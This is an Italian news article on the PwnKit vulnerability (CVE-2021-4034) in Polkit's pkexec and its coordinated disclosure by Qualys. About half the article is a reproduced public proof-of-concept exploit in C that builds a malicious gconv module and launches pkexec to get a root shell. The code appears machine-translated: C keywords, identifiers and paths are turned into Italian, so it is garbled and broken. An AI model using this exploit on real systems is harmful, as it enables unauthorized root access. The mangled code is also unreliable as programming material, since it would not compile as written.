Una vulnerabilità nel componente pkexec di Polkit identificato come CVE-2021-4034 (PwnKit) è stata scoperta dal team di ricerca di Qualys, ed è presente nella configurazione predefinita di tutte le principali distribuzioni Linux e può essere sfruttata per ottenere privilegi di root completi sul sistema, avvertono oggi i ricercatori.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html
Parte del framework dell’applicazione open source Polkit che negozia l’interazione tra processi privilegiati e non privilegiati, pkexec consente a un utente autorizzato di eseguire comandi come un altro utente.
Il corretto sfruttamento di questa vulnerabilità consente a qualsiasi utente senza privilegi di ottenere i privilegi di root sull’host vulnerabile. I ricercatori sulla sicurezza di Qualys sono stati in grado di verificare in modo indipendente la vulnerabilità, sviluppare un exploit e ottenere i privilegi di root completi sulle installazioni predefinite di Ubuntu, Debian, Fedora e CentOS.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html
Altre distribuzioni Linux sono probabilmente vulnerabili e probabilmente sfruttabili. Questa vulnerabilità è stata nascosta per oltre 12 anni e interessa tutte le versioni di pkexec dalla sua prima versione nel maggio 2009 (commit c8c3d83).
Non appena il team di ricerca ha confermato la vulnerabilità, Qualys si è impegnata nella divulgazione responsabile e si è coordinata con i fornitori e le distribuzioni open source per annunciare la vulnerabilità. Guarda questo video di un potenziale percorso di exploit.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html
https://player.vimeo.com/video/669715589?h=3bf67eea45&title=0&byline=0&portrait=0&playsinline=0&autopause=0&app_id=122963
A quanto pare, è già emerso un exploit, a meno di tre ore dalla pubblicazione dei dettagli tecnici di PwnKit da parte di Qualys.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html
BleepingComputer ha compilato e testato l’exploit disponibile, che si è rivelato affidabile in quanto ci ha fornito i privilegi di root sul sistema in tutti i tentativi.
/*
* blasty-vs-pkexec.c -- di blasty <peter@haxx.in>
*------------------------------------------------
* PoC per CVE-2021-4034, grida a Qualys
*
* exploit di qualità ctf
*
* bla bla divulgazione irresponsabile
*
* -- esplosivo // 25-01-2022
*/
#include <stdio.h>
#include <stdlib.h>
#include <stringa.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
void fatal(char *f) {
errore(f);
uscita(-1);
}
void compile_so() {
FILE *f = fopen("payload.c", "wb");
se (f == NULLA) {
fatale("fopen");
}
char so_code[]=
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n"
"void gconv() {\n"
" ritorno;\n"
"}\n"
"void gconv_init() {\n"
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" carattere statico *a_argv[] = { \"sh\", NULL };\n"
" carattere statico *a_envp[] = { \"PERCORSO=/bin:/usr/bin:/sbin\", NULL };\n"
" execve(\"/bin/sh\", a_argv, a_envp);\n"
" uscita(0);\n"
"}\n";
fwrite(così_codice, strlen(così_codice), 1, f);
fclose(f);
system("gcc -o payload.so -shared -fPIC payload.c");
}
int main(int argc, char *argv[]) {
struct stat st;
char *a_argv[]={ NULL };
carattere *a_envp[]={
"LOL",
"PERCORSO=GCONV_PERCORSO=.",
"LC_MESSAGES=it_US.UTF-8",
"XAUTHORITY=../LOL",
NULLO
};
printf("[~] aiutante per la compilazione..\n");
compile_so();
if (stat("PERCORSO_GCONV=.", &st) < 0) {
if(mkdir("GCONV_PATH=", 0777) < 0) {
fatal("mkdir");
}
int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777);
se (fd < 0) {
fatale("aperto");
}
chiudere(fd);
}
se (stat("lol", &st) < 0) {
if(mkdir("lol", 0777) < 0) {
fatal("mkdir");
}
FILE *fp = fopen("lol/gconv-modules", "wb");
se(fp == NULLO) {
fatale("fopen");
}
fprintf(fp, "modulo UTF-8// INTERNO ../carico utile 2\n");
fclose(fp);
}
printf("[~] forse ottieni la shell ora?\n");
execve("/usr/bin/pkexec", a_argv, a_envp);
}

test svolto da Bleeping computer su Ubuntu
Riferendosi all’exploit, l’analista di vulnerabilità CERT/CC Will Dormann ha affermato che è sia semplice che universale. Il ricercatore lo ha ulteriormente testato su un sistema ARM64, dimostrando che funziona anche su quell’architettura.
https://0cd91c69-ee11-4eeb-8e8e-d8e681b15302.usrfiles.com/html/db9376e69cfa487ea0fa0b912ae51a4f_v1.html
Qualys ha segnalato il problema di sicurezza in modo responsabile il 18 novembre 2021 e ha atteso che una patch diventasse disponibile prima di pubblicare i dettagli tecnici di PwnKit .
Ti è piaciuto questo articolo? Ne stiamo discutendo nella nostra Community su LinkedIn, Facebook e Instagram. Seguici anche su Google News, per ricevere aggiornamenti quotidiani sulla sicurezza informatica o Scrivici se desideri segnalarci notizie, approfondimenti o contributi da pubblicare.
